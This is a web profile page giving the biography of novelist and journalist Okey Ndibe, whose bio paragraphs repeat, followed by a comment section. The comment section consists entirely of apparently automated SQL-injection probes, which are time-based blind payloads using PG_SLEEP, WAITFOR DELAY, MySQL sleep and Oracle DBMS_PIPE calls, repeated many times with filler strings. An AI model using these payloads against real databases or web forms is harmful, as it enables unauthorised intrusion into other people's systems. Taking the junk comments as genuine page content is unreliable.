Saturday, March 28, 2026 - 22:54

Okey Ndibe

Okey Ndibe

Dr Okey Ndibe, ISA 2015 Keynote Speaker

Chidi Igwe 1618 views 236 comments 0 likes

Okey Ndibe is the author of the novels Foreign Gods, Inc. and Arrows of Rain, and co-editor (with Zimbabwean writer Chenjerai Hove) of Writers Writing on Conflicts and Wars in Africa. Janet Maslin of the New York Times as well as Philadelphia Inquirer, Cleveland Plain Dealer, and Mosaic magazine named Foreign Gods, Inc. one of the 10 best books of 2014.

The novel was also included in National Public Radio’s list of best books of 2014. Ndibe earned MFA and PhD degrees from the University of Massachusetts at Amherst and has taught at Brown University in Providence, RI, Trinity College in Hartford, CT (where the student newspaper named him one of 15 professors students should take classes with before graduating), Simon’s Rock College in Great Barrington, MA (where he won a new faculty teaching award), Connecticut College in New London, CT (where the student newspaper included him on a list of “five outstanding professors”), and the University of Lagos (as a Fulbright scholar).

Okey Ndibe is the author of the novels Foreign Gods, Inc. and Arrows of Rain, and co-editor (with Zimbabwean writer Chenjerai Hove) of Writers Writing on Conflicts and Wars in Africa. Janet Maslin of the New York Times as well as Philadelphia Inquirer, Cleveland Plain Dealer, and Mosaic magazine named Foreign Gods, Inc. one of the 10 best books of 2014.

The novel was also included in National Public Radio’s list of best books of 2014. Ndibe earned MFA and PhD degrees from the University of Massachusetts at Amherst and has taught at Brown University in Providence, RI, Trinity College in Hartford, CT (where the student newspaper named him one of 15 professors students should take classes with before graduating), Simon’s Rock College in Great Barrington, MA (where he won a new faculty teaching award), Connecticut College in New London, CT (where the student newspaper included him on a list of “five outstanding professors”), and the University of Lagos (as a Fulbright scholar).

He first came to the US to be the founding editor of African Commentary, a US-based international magazine published by the late great novelist Chinua Achebe. Among the magazine’s columnists were Achebe, Nadine Gordimer, Kofi Awoonor, Ben Okri, Michael Ekwueme Thelwell, John Edgar Wideman, Fela Anikulapo-Kuti, and Johnetta Cole.

Ndibe later served as an editorial writer for Hartford Courant, the oldest continuously published newspaper in the US, where one of his essays, “Eyes To The Ground: The Perils of the Black Student,” was chosen by the Association of Opinion Page Editors as the best opinion piece in an American newspaper in 2000, and another essay, “Unwarranted Graphic Authentication,” was named the 2001 best opinion piece by the CT chapter of the Society of Professional Journalists).

His opinion pieces have been published by numerous publications, including the New York Times, BBC online, Al Jazeera online, Financial Times, Fabian Society Journal, and the (Nigerian) Daily Sun, where his widely syndicated weekly column appears. He is currently working on a novel titled Return Flights as well as a non-fiction book, Going Dutch and other American Mis/Adventures, a series of essay vignettes based on his immigrant experiences.

Comments

xsjyBldb

555

@@kFs6r

555

xsjyBldb����%2527%2522\'\"

555

xsjyBldb'"

555

xsjyBldb

555

xsjyBldb'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

xsjyBldbelfu782r')) OR 468=(SELECT 468 FROM PG_SLEEP(15))--

555

xsjyBldbrB18DpMk') OR 451=(SELECT 451 FROM PG_SLEEP(15))--

555

xsjyBldbhBmmrEqX' OR 560=(SELECT 560 FROM PG_SLEEP(15))--

555

xsjyBldbbzhsPuRB'; waitfor delay '0:0:15' --

555

xsjyBldb-1 waitfor delay '0:0:15' --

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

xsjyBldb0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

xsjyBldb0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

if(now()=sysdate(),sleep(15),0)

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@6rvK8

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555Y4NnoeV8')) OR 336=(SELECT 336 FROM PG_SLEEP(15))--

xsjyBldb

555blGuW05I') OR 446=(SELECT 446 FROM PG_SLEEP(15))--

xsjyBldb

555nmQVATA8' OR 671=(SELECT 671 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 468=(SELECT 468 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 181=(SELECT 181 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 358=(SELECT 358 FROM PG_SLEEP(15))--

xsjyBldb

5553ouFBQsU'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

@@hn9ZJ

555

xsjyBldb����%2527%2522\'\"

555

xsjyBldb'"

555

xsjyBldb

555

xsjyBldb'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

xsjyBldbjpKP0hXF')) OR 975=(SELECT 975 FROM PG_SLEEP(15))--

555

xsjyBldbsBwC2RzN') OR 322=(SELECT 322 FROM PG_SLEEP(15))--

555

xsjyBldb0tV7zZD6' OR 253=(SELECT 253 FROM PG_SLEEP(15))--

555

xsjyBldbnqHMnlhS'; waitfor delay '0:0:15' --

555

xsjyBldb-1 waitfor delay '0:0:15' --

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

xsjyBldb0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

xsjyBldb0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

if(now()=sysdate(),sleep(15),0)

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@QSj0S

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555qJY6S7TY')) OR 450=(SELECT 450 FROM PG_SLEEP(15))--

xsjyBldb

555pn57v6Pf') OR 750=(SELECT 750 FROM PG_SLEEP(15))--

xsjyBldb

555b62Bpa3b' OR 57=(SELECT 57 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 473=(SELECT 473 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 209=(SELECT 209 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 405=(SELECT 405 FROM PG_SLEEP(15))--

xsjyBldb

555NFPVnspV'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

@@7vUGH

555

xsjyBldb����%2527%2522\'\"

555

xsjyBldb'"

555

xsjyBldb

555

xsjyBldb'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

xsjyBldbFO9w9gbb')) OR 797=(SELECT 797 FROM PG_SLEEP(15))--

555

xsjyBldbDYgFcRb2') OR 694=(SELECT 694 FROM PG_SLEEP(15))--

555

xsjyBldbFFh6Dx4p' OR 960=(SELECT 960 FROM PG_SLEEP(15))--

555

xsjyBldbQDxYxkDs'; waitfor delay '0:0:15' --

555

xsjyBldb-1 waitfor delay '0:0:15' --

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

xsjyBldb0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

xsjyBldb0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

if(now()=sysdate(),sleep(15),0)

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@0bqGa

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555StMbhPB2')) OR 726=(SELECT 726 FROM PG_SLEEP(15))--

xsjyBldb

5558NwPY7D5') OR 251=(SELECT 251 FROM PG_SLEEP(15))--

xsjyBldb

555K4r5SOSl' OR 49=(SELECT 49 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 75=(SELECT 75 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 192=(SELECT 192 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 421=(SELECT 421 FROM PG_SLEEP(15))--

xsjyBldb

555uJloJpmC'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

@@bd0yA

555

xsjyBldb����%2527%2522\'\"

555

xsjyBldb'"

555

xsjyBldb

555

xsjyBldb'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

xsjyBldbP5dBz7zU')) OR 961=(SELECT 961 FROM PG_SLEEP(15))--

555

xsjyBldb3GwRdIEX') OR 330=(SELECT 330 FROM PG_SLEEP(15))--

555

xsjyBldbREPGNOA1' OR 63=(SELECT 63 FROM PG_SLEEP(15))--

555

xsjyBldbNZcexhkJ'; waitfor delay '0:0:15' --

555

xsjyBldb-1 waitfor delay '0:0:15' --

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

xsjyBldb0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

xsjyBldb0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

if(now()=sysdate(),sleep(15),0)

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@8ww3c

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555lN0kFQDm')) OR 141=(SELECT 141 FROM PG_SLEEP(15))--

xsjyBldb

555UJcX1bWY') OR 656=(SELECT 656 FROM PG_SLEEP(15))--

xsjyBldb

555S8sVpAez' OR 635=(SELECT 635 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 554=(SELECT 554 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 622=(SELECT 622 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 208=(SELECT 208 FROM PG_SLEEP(15))--

xsjyBldb

555bavB1gEx'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

Add a Comment